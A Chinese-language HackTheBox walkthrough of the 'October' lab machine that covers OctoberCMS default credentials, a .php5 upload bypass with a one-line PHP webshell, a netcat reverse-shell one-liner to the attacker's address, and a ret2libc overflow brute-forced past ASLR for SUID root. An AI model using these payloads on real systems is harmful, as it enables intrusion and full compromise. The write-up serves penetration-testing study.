HTB渗透之October

admin 2022年12月15日00:44:17评论172 views字数 4841阅读16分8秒阅读模式

October 是一个中等难度的靶机,知识点涉及默认密码、文件上传绕过、suid 提权、缓冲区溢出等。感兴趣的同学可以在HackTheBox中进行学习。HTB渗透之October通关思维导图HTB渗透之October

0x01 侦查

端口探测

首先使用 nmap 进行端口扫描

nmap -Pn -p- -sV -sC -A 10.10.10.13 -oA nmap_October --min-rate=1000

HTB渗透之October扫描结果显示目标开放22、80端口

80端口

访问后界面如下,站点采用模板为OctoberCMS,其主题为VanillaHTB渗透之October

默认口令

October 是一个基于 PHP 编程语言和 Laravel Web 应用程序框架的内容管理系统(CMS)。它支持将 MySQL、SQLite 和 PostgreSQL 用于数据库后端,并使用平面文件数据库作为前端结构。

OctoberCMS 的默认后台路径为/backend,访问后界面如下HTB渗透之October

后台默认账号密码为admin/admin,尝试登录成功进入管理后台HTB渗透之October

漏洞查找

使用 searchsploit 搜索 OctoberCMS 已知漏洞

searchsploit october
HTB渗透之October

结果显示 OctoberCMS 存在的已知漏洞大多是 XSS,可利用的只有文件上传 bypass 漏洞

0x02 上线[www-data]

文件上传绕过

使用 searchsploit 查看漏洞利用代码,经分析可知 EXP 使用.php5后缀绕过限制

searchsploit -x php/remote/47376.rb
HTB渗透之October

在 Exploit-DB 中下载源码分析后可知,应用程序采用基于黑名单的方式检查文件扩展名,对应的 PHP 方法名为blockedExtensions。黑名单中不包含.php5,但该 PHP 后缀可用,因此能成功绕过上传限制

源码地址:https://www.exploit-db.com/exploits/47376

<?php
protected function blockedExtensinos()
{
    return {
        'php',
        'php3',
        'php4',
        'phtml',
    }
}
?>

Media模块中点击Upload上传小马cmd.php5,其代码如下:

<?php system($_REQUEST['cmd']);?>
HTB渗透之October

上传成功HTB渗透之October

点击Click here访问木马地址http://10.10.10.16/storage/app/media/cmd.php5HTB渗透之October

使用 curl 命令执行命令成功

curl http://10.10.10.16/storage/app/media/cmd.php5?cmd=id
HTB渗透之October

反弹shell

在本地监听443端口

nc -nvlp 443

通过木马执行命令反弹shell

curl http://10.10.10.16/storage/app/media/cmd.php5 --data-urlencode "cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.14 443 >/tmp/f"
HTB渗透之October

成功收到反弹shellHTB渗透之October

通过 python 调用 bash 使命令行更加清晰

python -c 'import pty;pty.spawn("bash")'

成功在用户目录/home/harry中找到第一个flag

cd /home/harry && ls
cat user.txt
HTB渗透之October

MSF利用

当然使用 MSF 能够更快速、方便地拿到权限

msfconosle
msf > use exploit/multi/http/october_upload_bypass_exec
msf > set rhost 10.10.10.16
msf > set lhost 10.10.14.14
msf > run
HTB渗透之October

0x03 权限提升[root]

信息收集

在本地启动 http 服务并在靶机中下载LinEnum.sh

脚本地址:https://github.com/rebootuser/LinEnum

cd /tmp
wget http://10.10.14.14/LinEnum.sh
HTB渗透之October

执行LinEnum.sh收集 Linux 操作系统信息并检查可提权项

chmod +x LinEnum.sh
./LinEnum.sh
HTB渗透之October

成功找到拥有 suid 的文件如下,其中较为特殊的是/usr/local/bin/ovrflw。而 suid 是一种对二进制程序设置的特殊权限,能让程序的执行者临时拥有属主的权限,也就是说如果拥有 suid 的文件属主为 root,普通用户执行后也能临时拥有 root 的权限,这就是 suid 提权的原理HTB渗透之October

执行ovrflw提示需要输入参数

./ovrflw
HTB渗透之October

一旦输入参数程序会打印输入字符

./ovrflw AAAAA
HTB渗透之October

但是一旦输入过多字符就会报错,说明可能存在缓冲区溢出

./ovrflw $(python -c 'print "A"*500')
HTB渗透之October

缓冲区溢出

ASLR机制

ASLR 技术是 Address Space Layout Randomization 的缩写,是一种用于防止攻击者利用内存漏洞的技术。ASLR 通过随机化操作系统的内存布局来防止攻击者预测内存中的数据位置,从而防止攻击者利用这些信息来执行有害的代码。ASLR 是一种有效的防御技术,被广泛应用于操作系统和应用程序中。

检查主机发现操作系统的 ASLR 机制已开启

cat /proc/sys/kernel/randomize_va_space
HTB渗透之October

当然也可以使用 ldd 命令进行测试,每次执行后libc地址都会发生改变

ldd ovrflw | grep libc
HTB渗透之October

虽然libc地址随机变化,但是实际上经过仔细对比后可发现它只在0xb75000000xb76ff000之间变化,因此存在 1/512 的概率libc地址会相同

NX防护

使用 nc 传输二进制程序ovrflw至本地

nc -nvl 4444 > ovrflw
nc -w 5 10.10.14.14 4444 < ovrflw
HTB渗透之October

在本地成功收到ovrflwHTB渗透之October

使用 checksec 检查程序的安全状况,包括使用的系统保护技术、是否存在漏洞等

checksec --file=ovrflw
HTB渗透之October

结果显示 NX 已启用,意味着 shellcode 不能从堆栈运行。NX 全称为 No-eXecute,是一种内存保护技术,基本原理是将数据所在的内存页标识为不可执行,当程序溢出成功转入 shellcode 时,程序会尝试在数据页面上执行指令,此时 CPU 会抛出异常,而不会执行恶意指令。在 Windows 系统中类似的是 DEP,全称为 Data Execution Prevention,即数据执行保护,两者在原理上有异曲同工之妙。

寻找EIP偏移量

运行 gdb 调试程序ovrflw

gdb -q ./ovrflw
HTB渗透之October

使用 MSF 生成长度为500的 payload,用于测定 EIP 溢出位置

msf-pattern_create -l 500
HTB渗透之October

在 gdb 中执行 payload,成功拿到 EIP 返回地址为0x64413764

gdb > run 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq'
HTB渗透之October

使用 MSF 根据地址确定溢出位置为 112

msf-pattern_offset -q 64413764
HTB渗透之October

编写 Python 脚本测试溢出位置,返回地址为0x42424242,而42是字符B对应的 ASCII 码,因此 112 就是程序的偏移量

gdb > run `python -c 'print("A"*112 + "BBBB")'`
HTB渗透之October

返回libc

已知libc的路径为/lib/i386-linux-gnu/libc.so.6,寻找systemexit以及/bin/sh的偏移量

readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -e " system@" -e " exit@"
HTB渗透之October
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh"
HTB渗透之October

随机选定返回的libc0xb75f8000(正确概率 1/512),基于该libc的偏移量如下

exit:0xb75f8000+0x33260=0xb762b260
system:0xb75f8000+0x40310=0xb7638310
/bin/sh:0xb75f8000+0x162bac=0xb775abac

而溢出后缓冲区就变成:[JUNK]*112+system+exit+/bin/sh

漏洞利用

如果 ASLR 机制未启动,那么可直接利用以下 payload

/usr/local/bin/ovrflw $(python -c 'print "x90"*112 + "x10x83x63xb7" + "x60xb2x62xb7" + "xacxabx75xb7"');

但是目标系统 ASLR 机制已启动,需要通过循环执行直至匹配到设定的libc地址才能成功利用

while true; do /usr/local/bin/ovrflw $(python -c 'print "x90"*112 + "x10x83x63xb7" + "x60xb2x62xb7" + "xacxabx75xb7"'); done
HTB渗透之October

匹配成功后就能完成 suid 提权,同时在/root目录中找到第二个flag

ls /root
cat /root/root.txt
HTB渗透之October

0x04 总结

October 译为十月,实际指的是 OctoberCMS。通过信息收集发现目标站点的内容管理系统为 OctoberCMS,经谷歌搜索后可知其默认后台路径以及账号密码,利用默认账号和密码成功登录后台。使用 searchsploit 搜索 OctoberCMS 的已知漏洞,找到可利用漏洞为 bypass 文件上传。阅读 EXP 代码可知上传.php5后缀的木马成功绕过限制,通过木马执行命令拿到反弹shell,当然在 MSF 中已经集成了该漏洞的利用,使用 MSF 能更加方便、快速地拿到用户权限。

使用 LinEnum 收集 Linux 系统信息,其中 suid 文件名ovrflw吸引了我的注意,它与溢出的英文单词overflow非常相像,可能提示该程序存在缓冲区溢出。经测试ovrflw确实存在缓冲区溢出,但目标系统存在 ASLR 机制,同时程序本身已开启 NX 防护,使得漏洞利用变得十分困难。使用 MSF 测定 EIP 偏移量为112,虽然系统中开启 ASLR,但仔细对比后发现其地址范围固定,因此有 1/512 的几率能够成功。假设 libc 地址处于该范围的某个值,就可以基于该值推测 exit 等关键词的地址并调用/bin/sh,最终配合循环成功完成 suid 提权。


原文始发于微信公众号(A11Safe):HTB渗透之October

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年12月15日00:44:17
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   HTB渗透之Octoberhttp://cn-sec.com/archives/1465378.html

发表评论

匿名网友 填写信息